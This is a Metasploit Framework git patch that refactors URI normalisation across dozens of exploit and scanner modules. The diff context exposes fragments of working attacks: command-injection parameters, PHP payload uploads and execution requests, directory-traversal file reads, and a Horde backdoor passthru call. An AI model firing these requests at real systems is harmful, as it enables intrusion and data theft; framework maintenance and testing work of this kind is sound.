Msf::Exploit::Remote::HttpClient do context "with multiple multiple trailing '/'" do let(:unnormalized_uri) do - "#{expected_normalized_uri}//" + "#{expected_normalized_uri}" end - it "should have multiple trailing '/'" do - unnormalized_uri[-2 .. -1].should == '//' + it "should have single trailing '/'" do + unnormalized_uri[-2,1].should == '/' end it "should return only one trailing '/'" do @@ -122,12 +122,12 @@ describe Msf::Exploit::Remote::HttpClient do normalized_uri[0, 1].should == '/' end - it "'should remove trailing '/'" do - normalized_uri[-1, 1].should_not == '/' + it "'should not remove trailing '/'" do + normalized_uri[-1, 1].should == '/' end it 'should normalize the uri' do - normalized_uri.should == expected_normalized_uri + normalized_uri.should == "#{expected_normalized_uri}/" end end From c174e6a2084719c8ec34b38a5d1f90d113b39d66 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 30 Jan 2013 23:23:41 -0600 Subject: [PATCH 074/129] Correctly use normalize_uri() normalize_uri() should be used when you're joining URIs. Because if you're merging URIs after it's normalized, you could get double slashes again. --- .../auxiliary/admin/http/typo3_sa_2009_001.rb | 4 ++- modules/auxiliary/admin/tikiwiki/tikidblib.rb | 4 +-- modules/auxiliary/dos/http/webrick_regex.rb | 2 +- .../gather/wp_w3_total_cache_hash_extract.rb | 2 +- .../http/bitweaver_overlay_type_traversal.rb | 5 ++-- .../scanner/http/clansphere_traversal.rb | 3 +- .../scanner/http/concrete5_member_list.rb | 4 +-- .../hp_sitescope_getsitescopeconfiguration.rb | 8 ++++-- ...hp_sitescope_loadfilecontent_fileaccess.rb | 8 ++++-- modules/auxiliary/scanner/http/http_put.rb | 6 ++-- .../auxiliary/scanner/http/s40_traversal.rb | 5 ++-- .../http/sap_businessobjects_user_brute.rb | 2 +- .../http/sap_businessobjects_user_enum.rb | 2 +- .../http/sap_businessobjects_version_enum.rb | 2 +- .../http/vmware_update_manager_traversal.rb | 4 +-- .../exploits/linux/http/dolibarr_cmd_exec.rb | 4 +-- .../linux/http/symantec_web_gateway_exec.rb | 4 +-- .../http/symantec_web_gateway_file_upload.rb | 4 +-- modules/exploits/linux/http/vcms_upload.rb | 4 +-- .../linux/http/webcalendar_settings_exec.rb | 7 ++--- .../exploits/linux/http/webid_converter.rb | 10 +++---- .../http/ajaxplorer_checkinstall_exec.rb | 9 +++--- .../multi/http/apprain_upload_exec.rb | 11 ++++---- .../multi/http/auxilium_upload_exec.rb | 11 ++++---- modules/exploits/multi/http/axis2_deployer.rb | 4 +-- .../multi/http/cuteflow_upload_exec.rb | 6 ++-- .../multi/http/horde_href_backdoor.rb | 4 +-- .../http/hp_sitescope_uploadfileshandler.rb | 10 +++---- .../exploits/multi/http/jboss_bshdeployer.rb | 6 ++-- .../http/jboss_deploymentfilerepository.rb | 10 +++---- .../exploits/multi/http/jboss_maindeployer.rb | 8 +++--- .../multi/http/jenkins_script_console.rb | 4 +-- .../multi/http/log1cms_ajax_create_folder.rb | 6 ++-- .../multi/http/mobilecartly_upload_exec.rb | 6 ++-- .../multi/http/movabletype_upgrade_exec.rb | 2 +- .../multi/http/openfire_auth_bypass.rb | 8 +++--- .../multi/http/php_volunteer_upload_exec.rb | 2 +- .../multi/http/phpldapadmin_query_engine.rb | 8 ++---- modules/exploits/multi/http/phptax_exec.rb | 5 ++-- modules/exploits/multi/http/plone_popen2.rb | 8 ++---- .../exploits/multi/http/pmwiki_pagelist.rb | 3 +- .../exploits/multi/http/qdpm_upload_exec.rb | 8 +++--- .../exploits/multi/http/sit_file_upload.rb | 28 +++---------------- .../multi/http/sonicwall_gms_upload.rb | 2 +- .../multi/http/testlink_upload_exec.rb | 14 +++++----- .../exploits/multi/http/tomcat_mgr_deploy.rb | 6 ++-- .../exploits/multi/http/traq_plugin_exec.rb | 9 ++---- .../exploits/multi/http/vbseo_proc_deutf.rb | 8 ++---- .../multi/http/webpagetest_upload_exec.rb | 8 +++--- .../exploits/multi/http/wikka_spam_exec.rb | 12 ++++---- .../exploits/unix/webapp/basilic_diff_exec.rb | 6 ++-- .../unix/webapp/coppermine_piceditor.rb | 4 +-- .../unix/webapp/egallery_upload_exec.rb | 9 +++--- .../unix/webapp/joomla_tinybrowser.rb | 5 ++-- .../exploits/unix/webapp/openx_banner_edit.rb | 22 ++++++--------- .../unix/webapp/oscommerce_filemanager.rb | 4 +-- .../unix/webapp/php_wordpress_foxypress.rb | 9 +++--- .../exploits/unix/webapp/phpbb_highlight.rb | 6 ++-- .../exploits/unix/webapp/phpmyadmin_config.rb | 6 ++-- .../unix/webapp/projectpier_upload_exec.rb | 2 +- .../exploits/unix/webapp/redmine_scm_exec.rb | 2 +- .../unix/webapp/sphpblog_file_upload.rb | 14 +++++----- .../unix/webapp/sugarcrm_unserialize_exec.rb | 3 +- .../webapp/tikiwiki_graph_formula_exec.rb | 5 ++-- .../unix/webapp/tikiwiki_jhot_exec.rb | 8 +++--- .../unix/webapp/tikiwiki_unserialize_exec.rb | 8 +++--- modules/exploits/unix/webapp/twiki_history.rb | 6 ++-- modules/exploits/unix/webapp/twiki_search.rb | 8 +++--- .../http/sonicwall_scrutinizer_sqli.rb | 2 +- .../exploits/windows/http/sybase_easerver.rb | 2 +- .../windows/http/sysax_create_folder.rb | 8 +++--- .../exploits/windows/iis/ms02_065_msadc.rb | 2 +- modules/exploits/windows/iis/msadc.rb | 4 +-- 73 files changed, 212 insertions(+), 253 deletions(-) diff --git a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb index 25af468599..465e0ed78a 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb @@ -96,7 +96,9 @@ class Metasploit4 < Msf::Auxiliary juhash = Digest::MD5.hexdigest(juarray) juhash = juhash[0..9] # shortMD5 value for use as juhash - file_uri = "#{uri}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}" + uri_base_path = normalize_uri(uri, '/index.php') + + file_uri = "#{uri_base_path}?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}" vprint_status("Checking Encryption Key [#{i}/1000]: #{final}") begin diff --git a/modules/auxiliary/admin/tikiwiki/tikidblib.rb b/modules/auxiliary/admin/tikiwiki/tikidblib.rb index 231b4fa360..695443c528 100644 --- a/modules/auxiliary/admin/tikiwiki/tikidblib.rb +++ b/modules/auxiliary/admin/tikiwiki/tikidblib.rb @@ -47,8 +47,8 @@ class Metasploit3 < Msf::Auxiliary def run print_status("Establishing a connection to the target...") - uri = normalize_uri(datastore['URI']) - rpath = uri + "/tiki-lastchanges.php?days=1&offset=0&sort_mode=" + uri = normalize_uri(datastore['URI'], '/tiki-lastchanges.php') + rpath = uri + "?days=1&offset=0&sort_mode=" res = send_request_raw({ 'uri' => rpath, diff --git a/modules/auxiliary/dos/http/webrick_regex.rb b/modules/auxiliary/dos/http/webrick_regex.rb index ee80b7a624..f886d688b6 100644 --- a/modules/auxiliary/dos/http/webrick_regex.rb +++ b/modules/auxiliary/dos/http/webrick_regex.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary def run begin o = { - 'uri' => normalize_uri(datastore['URI']) || '/', + 'uri' => normalize_uri(datastore['URI']), 'headers' => { 'If-None-Match' => %q{foo=""} + %q{bar="baz" } * 100 } diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb index db04a3a2f8..b677c87763 100644 --- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb +++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb @@ -91,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary key="w3tc_#{host}_#{site_id}_sql_#{query_md5}" key_md5 = ::Rex::Text.md5(key) hash_path = "/#{key_md5[0,1]}/#{key_md5[1,1]}/#{key_md5[2,1]}/#{key_md5}" - url = normalize_uri("/#{wordpress_url}#{datastore["WP_CONTENT_DIR"]}/w3tc/dbcache") + url = normalize_uri(wordpress_url, datastore["WP_CONTENT_DIR"], "/w3tc/dbcache") uri << hash_path result = nil diff --git a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb index 7f7166f93e..13dc14ef16 100644 --- a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb +++ b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb @@ -49,8 +49,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - base = normalize_uri(target_uri.path) - base << '/' if base[-1,1] != '/' + base = target_uri.path peer = "#{ip}:#{rport}" fname = datastore['FILE'] @@ -61,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'method' => 'GET', 'encode_params' => false, - 'uri' => "#{base}gmap/view_overlay.php", + 'uri' => normalize_uri(base, "gmap/view_overlay.php"), 'vars_get' => { 'overlay_type' => "#{traverse}#{fname}%00" } diff --git a/modules/auxiliary/scanner/http/clansphere_traversal.rb b/modules/auxiliary/scanner/http/clansphere_traversal.rb index 5919941a75..f851e2596b 100644 --- a/modules/auxiliary/scanner/http/clansphere_traversal.rb +++ b/modules/auxiliary/scanner/http/clansphere_traversal.rb @@ -46,7 +46,6 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) base = normalize_uri(target_uri.path) - base << '/' if base[-1,1] != '/' peer = "#{ip}:#{rport}" @@ -58,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}index.php", + 'uri' => normalize_uri(base, "index.php"), 'cookie' => "blah=blah; cs_lang=#{traverse}#{f}%00.png" }) diff --git a/modules/auxiliary/scanner/http/concrete5_member_list.rb b/modules/auxiliary/scanner/http/concrete5_member_list.rb index af224e664a..23e159e537 100644 --- a/modules/auxiliary/scanner/http/concrete5_member_list.rb +++ b/modules/auxiliary/scanner/http/concrete5_member_list.rb @@ -44,10 +44,10 @@ class Metasploit4 < Msf::Auxiliary end def run_host(rhost) - url = normalize_uri(datastore['URI']) + url = normalize_uri(datastore['URI'], '/index.php/members') begin - res = send_request_raw({'uri' => "#{url}/index.php/members"}) + res = send_request_raw({'uri' => url}) rescue ::Rex::ConnectionError print_error("#{peer} Unable to connect to #{url}") diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb index af6efdbdfc..4fdb5bab93 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb @@ -60,8 +60,10 @@ class Metasploit4 < Msf::Auxiliary print_status("#{@peer} - Connecting to SiteScope SOAP Interface") + uri = normalize_uri(@uri, 'services/APISiteScopeImpl') + res = send_request_cgi({ - 'uri' => "#{@uri}services/APISiteScopeImpl", + 'uri' => uri, 'method' => 'GET'}) if not res @@ -91,8 +93,10 @@ class Metasploit4 < Msf::Auxiliary print_status("#{@peer} - Retrieving the SiteScope Configuration") + uri = normalize_uri(@uri, 'services/APISiteScopeImpl') + res = send_request_cgi({ - 'uri' => "#{@uri}services/APISiteScopeImpl", + 'uri' => uri, 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => data, diff --git a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb index e58d4282b9..e3fb1fe573 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb @@ -59,8 +59,10 @@ class Metasploit4 < Msf::Auxiliary print_status("#{@peer} - Connecting to SiteScope SOAP Interface") + uri = normalize_uri(@uri, 'services/APIMonitorImpl') + res = send_request_cgi({ - 'uri' => "#{@uri}services/APIMonitorImpl", + 'uri' => uri, 'method' => 'GET'}) if not res @@ -95,8 +97,10 @@ class Metasploit4 < Msf::Auxiliary print_status("#{@peer} - Retrieving the file contents") + uri = normalize_uri(@uri, 'services/APIMonitorImpl') + res = send_request_cgi({ - 'uri' => "#{@uri}services/APIMonitorImpl", + 'uri' => uri, 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => data, diff --git a/modules/auxiliary/scanner/http/http_put.rb b/modules/auxiliary/scanner/http/http_put.rb index f7ab2fd9a7..f0e18eedae 100644 --- a/modules/auxiliary/scanner/http/http_put.rb +++ b/modules/auxiliary/scanner/http/http_put.rb @@ -81,7 +81,7 @@ class Metasploit4 < Msf::Auxiliary begin res = send_request_cgi( { - 'uri' => path, + 'uri' => normalize_uri(path), 'method' => 'PUT', 'ctype' => 'text/plain', 'data' => data, @@ -102,7 +102,7 @@ class Metasploit4 < Msf::Auxiliary begin res = send_request_cgi( { - 'uri' => path, + 'uri' => normalize_uri(path), 'method' => 'DELETE', 'ctype' => 'text/html', }, 20 @@ -119,7 +119,7 @@ class Metasploit4 < Msf::Auxiliary # Main function for the module, duh! # def run_host(ip) - path = normalize_uri(datastore['PATH']) + path = datastore['PATH'] data = datastore['FILEDATA'] if path[-1,1] != '/' diff --git a/modules/auxiliary/scanner/http/s40_traversal.rb b/modules/auxiliary/scanner/http/s40_traversal.rb index 5c0039054f..111591aa13 100644 --- a/modules/auxiliary/scanner/http/s40_traversal.rb +++ b/modules/auxiliary/scanner/http/s40_traversal.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary end def run - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1, 1] != '/' t = "/.." * datastore['DEPTH'] @@ -52,9 +52,10 @@ class Metasploit3 < Msf::Auxiliary print_status("Retrieving #{datastore['FILE']}") # No permission to access.log or proc/self/environ, so this is all we do :-/ + uri = normalize_uri(uri, 'index.php') res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{uri}index.php/?p=#{t}#{datastore['FILE']}%00" + 'uri' => "#{uri}/?p=#{t}#{datastore['FILE']}%00" }) if not res diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb index 730217ba95..01d38311ff 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Auxiliary begin res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + "/services/Session", + 'uri' => normalize_uri(datastore['URI'], "/services/Session"), 'method' => 'POST', 'data' => data, 'headers' => diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb index 415ca736ee..53ee160d57 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + "/services/listServices", + 'uri' => normalize_uri(datastore['URI'], "/services/listServices"), 'method' => 'GET' }, 25) return if not res diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb index be3de4bd49..4ff8434ceb 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + "/services/listServices", + 'uri' => normalize_uri(datastore['URI'], "/services/listServices"), 'method' => 'GET' }, 25) return if not res or res.code != 200 diff --git a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb index 1efaf6bbff..2d642d9c43 100644 --- a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb +++ b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(9084), - OptString.new('URIPATH', [true, 'URI path to the downloads/', '/vci/downloads/']), + OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']), OptString.new('FILE', [true, 'Define the remote file to download', 'boot.ini']) ], self.class) end @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) fname = File.basename(datastore['FILE']) traversal = ".\\..\\..\\..\\..\\..\\..\\..\\" - uri = normalize_uri(datastore['URIPATH'])+ '/' + traversal + datastore['FILE'] + uri = normalize_uri(datastore['URIPATH']) + traversal + datastore['FILE'] print_status("#{rhost}:#{rport} - Requesting: #{uri}") diff --git a/modules/exploits/linux/http/dolibarr_cmd_exec.rb b/modules/exploits/linux/http/dolibarr_cmd_exec.rb index abf9fb3f46..d295430baa 100644 --- a/modules/exploits/linux/http/dolibarr_cmd_exec.rb +++ b/modules/exploits/linux/http/dolibarr_cmd_exec.rb @@ -115,7 +115,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - @uri = normalize_uri(target_uri) + @uri = target_uri @uri.path << "/" if @uri.path[-1, 1] != "/" peer = "#{rhost}:#{rport}" @@ -141,7 +141,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending malicious request...") res = send_request_cgi({ 'method' => 'POST', - 'uri' => @uri.path + "admin/tools/export.php", + 'uri' => normalize_uri(@uri.path, "admin/tools/export.php"), 'cookie' => sid, 'vars_post' => { 'token' => token, diff --git a/modules/exploits/linux/http/symantec_web_gateway_exec.rb b/modules/exploits/linux/http/symantec_web_gateway_exec.rb index cd1b6859c8..10a211bc13 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_exec.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_exec.rb @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending Command injection") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}spywall/ipchange.php", + 'uri' => normalize_uri(uri, 'spywall/ipchange.php'), 'data' => post_data }) diff --git a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb index 58b8c6e90f..6a17584b58 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}spywall/blocked_file.php", + 'uri' => normalize_uri(uri, "spywall/blocked_file.php"), 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s }) diff --git a/modules/exploits/linux/http/vcms_upload.rb b/modules/exploits/linux/http/vcms_upload.rb index d5f5fc8acd..8ed47f8b1b 100644 --- a/modules/exploits/linux/http/vcms_upload.rb +++ b/modules/exploits/linux/http/vcms_upload.rb @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit peer = "#{rhost}:#{rport}" - base = normalize_uri(target_uri.path) + base = target_uri.path base << '/' if base[-1,1] != '/' @payload_name = "#{rand_text_alpha(5)}.php" @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} Uploading payload: #{@payload_name}") res = send_request_cgi({ - 'uri' => "#{base}includes/inline_image_upload.php", + 'uri' => normalize_uri(base, 'includes/inline_image_upload.php'), 'method' => 'POST', 'ctype' => 'multipart/form-data; boundary=----x', 'data' => post_data diff --git a/modules/exploits/linux/http/webcalendar_settings_exec.rb b/modules/exploits/linux/http/webcalendar_settings_exec.rb index 4bc1f62b3a..7e0086bc12 100644 --- a/modules/exploits/linux/http/webcalendar_settings_exec.rb +++ b/modules/exploits/linux/http/webcalendar_settings_exec.rb @@ -73,8 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit peer = "#{rhost}:#{rport}" - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1, 1] != '/' + uri = target_uri.path print_status("#{peer} - Housing php payload...") @@ -86,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote post_data << "\n"*2 send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}install/index.php", + 'uri' => normalize_uri(uri, 'install/index.php'), 'data' => post_data }) @@ -95,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote # Execute our payload send_request_raw({ 'method' => 'GET', - 'uri' => "#{uri}includes/settings.php", + 'uri' => normalize_uri(uri, 'includes/settings.php'), 'headers' => { 'Cmd' => Rex::Text.encode_base64(payload.encoded) } diff --git a/modules/exploits/linux/http/webid_converter.rb b/modules/exploits/linux/http/webid_converter.rb index 4c7fd85800..e0c28f0139 100644 --- a/modules/exploits/linux/http/webid_converter.rb +++ b/modules/exploits/linux/http/webid_converter.rb @@ -55,12 +55,12 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', - 'uri' => uri + "docs/changes.txt" + 'uri' => normalize_uri(uri, "docs/changes.txt") }) if res and res.code == 200 and res.body =~ /1\.0\.2 \- 17\/01\/11/ @@ -122,7 +122,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @@ -131,7 +131,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Injecting the PHP payload") response = send_request_cgi({ - 'uri' => uri + "converter.php", + 'uri' => normalize_uri(uri, "converter.php"), 'method' => "POST", 'vars_post' => { "action" => "convert", @@ -149,7 +149,7 @@ class Metasploit3 < Msf::Exploit::Remote timeout = 0.01 response = send_request_cgi({ - 'uri' => uri + "includes/currencies.php", + 'uri' => normalize_uri(uri, "includes/currencies.php"), 'method' => "GET", 'headers' => { 'Connection' => "close", diff --git a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb index d9c8e87e8d..404bf9f31d 100644 --- a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb +++ b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb @@ -57,13 +57,13 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' clue = Rex::Text::rand_text_alpha(rand(5) + 5) res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}plugins/access.ssh/checkInstall.php", + 'uri' => normalize_uri(uri, 'plugins/access.ssh/checkInstall.php'), 'vars_get' => { 'destServer' => "||echo #{clue}" } @@ -79,13 +79,12 @@ class Metasploit3 < Msf::Exploit::Remote def exploit peer = "#{rhost}:#{rport}" - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path # Trigger the command execution bug res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}plugins/access.ssh/checkInstall.php", + 'uri' => normalize_uri(uri, "plugins/access.ssh/checkInstall.php"), 'vars_get' => { 'destServer' => "||#{payload.encoded}" diff --git a/modules/exploits/multi/http/apprain_upload_exec.rb b/modules/exploits/multi/http/apprain_upload_exec.rb index 06e6fdc6a0..fc485ebc44 100644 --- a/modules/exploits/multi/http/apprain_upload_exec.rb +++ b/modules/exploits/multi/http/apprain_upload_exec.rb @@ -59,12 +59,12 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}addons/uploadify/uploadify.php" + 'uri' => normalize_uri(uri, 'addons/uploadify/uploadify.php') }) if res and res.code == 200 and res.body.empty? @@ -75,8 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path peer = "#{rhost}:#{rport}" payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php' @@ -91,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}addons/uploadify/uploadify.php", + 'uri' => normalize_uri(uri, "addons/uploadify/uploadify.php"), 'ctype' => 'multipart/form-data; boundary=o0oOo0o', 'data' => post_data }) @@ -107,7 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote # Execute our payload res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}addons/uploadify/uploads/#{payload_name}" + 'uri' => normalize_uri(uri, "addons/uploadify/uploads/#{payload_name}") }) # If we don't get a 200 when we request our malicious payload, we suspect diff --git a/modules/exploits/multi/http/auxilium_upload_exec.rb b/modules/exploits/multi/http/auxilium_upload_exec.rb index 2a314cb411..cb0147c8c4 100644 --- a/modules/exploits/multi/http/auxilium_upload_exec.rb +++ b/modules/exploits/multi/http/auxilium_upload_exec.rb @@ -56,11 +56,12 @@ class Metasploit3 < Msf::Exploit::Remote def check - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path base = File.dirname("#{uri}.") - res = send_request_raw({'uri'=>"#{base}/admin/sitebanners/upload_banners.php"}) + res = send_request_raw({ + 'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php") + }) if res and res.body =~ /\Pet Rate Admin \- Banner Manager\<\/title\>/ return Exploit::CheckCode::Appears else @@ -83,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}/admin/sitebanners/upload_banners.php", + 'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php"), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, }) @@ -94,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("#{@peer} - Requesting '#{php_fname}'...") - res = send_request_raw({'uri'=>"#{base}/banners/#{php_fname}"}) + res = send_request_raw({'uri'=>normalize_uri("#{base}/banners/#{php_fname}")}) if res and res.code == 404 print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}") return diff --git a/modules/exploits/multi/http/axis2_deployer.rb b/modules/exploits/multi/http/axis2_deployer.rb index f9060db244..565d73a293 100644 --- a/modules/exploits/multi/http/axis2_deployer.rb +++ b/modules/exploits/multi/http/axis2_deployer.rb @@ -267,7 +267,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { 'method' => 'POST', - 'uri' => "#{rpath}/axis2-admin/login", + 'uri' => normalize_uri(rpath, '/axis2-admin/login'), 'ctype' => 'application/x-www-form-urlencoded', 'data' => "userName=#{user}&password=#{pass}&submit=+Login+", }, 25) @@ -303,7 +303,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { 'method' => 'POST', - 'uri' => "#{rpath}/axis2-admin/login", + 'uri' => normalize_uri(rpath, '/axis2-admin/login'), 'ctype' => 'application/x-www-form-urlencoded', 'data' => "userName=#{user}&password=#{pass}&submit=+Login+", }, 25) diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb index 40dfc9a09b..2f413cec6b 100644 --- a/modules/exploits/multi/http/cuteflow_upload_exec.rb +++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote base << '/' if base[-1, 1] != '/' res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{base}" + 'uri' => base }) if res.body =~ /\Version 2\.11\.2\<\/strong\>\/ @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote # upload res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}pages/restart_circulation_values_write.php", + 'uri' => normalize_uri(base, "pages/restart_circulation_values_write.php"), 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => data_post, }) @@ -117,7 +117,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Retrieving file: #{fname}") send_request_raw({ 'method' => 'GET', - 'uri' => "#{base}upload/___1/#{fname}" + 'uri' => normalize_uri(base, "upload/___1/#{fname}") }) handler diff --git a/modules/exploits/multi/http/horde_href_backdoor.rb b/modules/exploits/multi/http/horde_href_backdoor.rb index 0c36c206c2..e5df62a1a8 100644 --- a/modules/exploits/multi/http/horde_href_backdoor.rb +++ b/modules/exploits/multi/http/horde_href_backdoor.rb @@ -59,14 +59,14 @@ class Metasploit3 < Msf::Exploit::Remote def exploit # Make sure the URI begins with a slash - uri = normalize_uri(datastore['URI']) + uri = datastore['URI'] function = "passthru" key = Rex::Text.rand_text_alpha(6) arguments = "echo #{key}`"+payload.raw+"`#{key}" res = send_request_cgi({ - 'uri' => uri + 